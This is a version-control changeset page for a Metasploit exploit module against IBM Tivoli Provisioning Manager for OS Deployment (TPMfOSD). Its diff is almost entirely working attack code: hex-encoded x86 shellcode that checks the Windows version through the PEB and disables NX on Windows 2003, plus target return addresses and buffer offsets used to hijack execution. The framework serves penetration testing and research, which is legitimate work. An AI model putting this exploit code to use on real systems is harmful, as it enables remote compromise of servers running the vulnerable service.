Changeset 4865

Show
Ignore:
Timestamp:
05/04/07 08:50:38 (1 year ago)
Author:
hdm
Message:

From topo:
1) It uses the rembo.exe Data section to prevent a crash
2) The prepend code has been modified to only disable NX on 2K3 SP1-2
(else it crashes 2K3 SP0)

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • framework3/tags/framework-3.0/modules/exploits/windows/http/ibm_tpmfosd_overflow.rb

    r4856 r4865  
    4040                                                        # Disable NX on 2k3 to upload data on the stack 
    4141                                                        # (service crashes if the stack is switched to the heap) 
    42                                                         "\xb9\x70\x02\xfe\x7f" + # mov ecx, 0x7ffe0270 
    43                                                         "\x80\x39\x02"         + # cmp byte ptr [ecx], 2 
    44                                                         "\x75\x15"             + # jmp after 
    45                                                         "\xba\x00\x03\xfe\x7f" + # mov edx, 0x7ffe0300 
    46                                                         "\xb8\xed\x00\x00\x00" + # mov eax, 0xed 
    47                                                         "\x6a\x04"             + # push 4 
    48                                                         "\x51"                 + # push ecx 
    49                                                         "\x6a\x22"             + # push 22 
    50                                                         "\x6a\xff"             + # push -1 
    51                                                         "\x6a\xff"             + # push -1 (padding) 
    52                                                         "\xff\x12",              # call dword ptr[edx] 
     42                                                        "\x64\x8b\x0d\x30\x00\x00\x00"              + # mov ecx, dword ptr fs:[0x30] ; PEB 
     43                                                        "\x83\xb9\xa4\x00\x00\x00\x05"              + # cmp dword ptr [ecx+0xa4], 5  ; MajorVersion == 5 
     44                                                        "\x75\x30"                                  + # jnz after 
     45                                                        "\x83\xb9\xa8\x00\x00\x00\x02"              + # cmp dword ptr [ecx+0xa8], 2  ; MinorVersion == 2 
     46                                                        "\x75\x27"                                  + # jnz after 
     47                                                        "\x81\xb9\xac\x00\x00\x00\xce\x0e\x00\x00"  + # cmp dword ptr [ecx+0xac], 0xece  ; BuildVersion (> SP0) 
     48                                                        "\x76\x1b"                                  + # jbe after 
     49                                                        "\x8d\x89\xa8\x00\x00\x00"                  + # lea ecx, [ecx+0xa8] 
     50                                                        "\xba\x00\x03\xfe\x7f"                      + # mov edx, 0x7ffe0300 
     51                                                        "\xb8\xed\x00\x00\x00"                      + # mov eax, 0xed 
     52                                                        "\x6a\x04"                                  + # push 4 
     53                                                        "\x51"                                      + # push ecx 
     54                                                        "\x6a\x22"                                  + # push 22 
     55                                                        "\x6a\xff"                                  + # push -1 
     56                                                        "\x6a\xff"                                  + # push -1 (padding) 
     57                                                        "\xff\x12",                                   # call dword ptr[edx] 
    5358                                        'StackAdjustment' => -3500, 
    5459                                }, 
     
    5863                                        ['TMPfOSD 5.1 (Windows 2000 SP4 - English)', { 'Rets' => [0x77bb53af, 0x77bb06f0, 0x75022ac5] }], 
    5964                                        # tested against 5.1.0.1 and 5.1.0.2 (use ATL.Dll) 
    60                                         ['TMPfOSD 5.1 (Windows 2003 All - English)', { 'IB' => 0x76a80000 }], 
     65                                        ['TMPfOSD 5.1 (Windows 2003 All - English)', { 'IB' => 0x76a80000, 'Data' => 0x01061980 }], 
    6166                                ], 
    6267                        'DisclosureDate' => 'May 02 2007', 
     
    8994 
    9095                        auth[ 2096, 4 ] = [ ib + 0x1a5f ].pack('V') 
    91                         auth[ 2100, 4 ] = [ ib + 0x11010 ].pack('V') 
     96                        auth[ 2100, 4 ] = [ target['Data'] ].pack('V') 
    9297                        auth[ 2104, 4 ] = [ ib + 0x11010 ].pack('V') 
    9398                        auth[ 2108, 4 ] = [ ib + 0x11010 ].pack('V')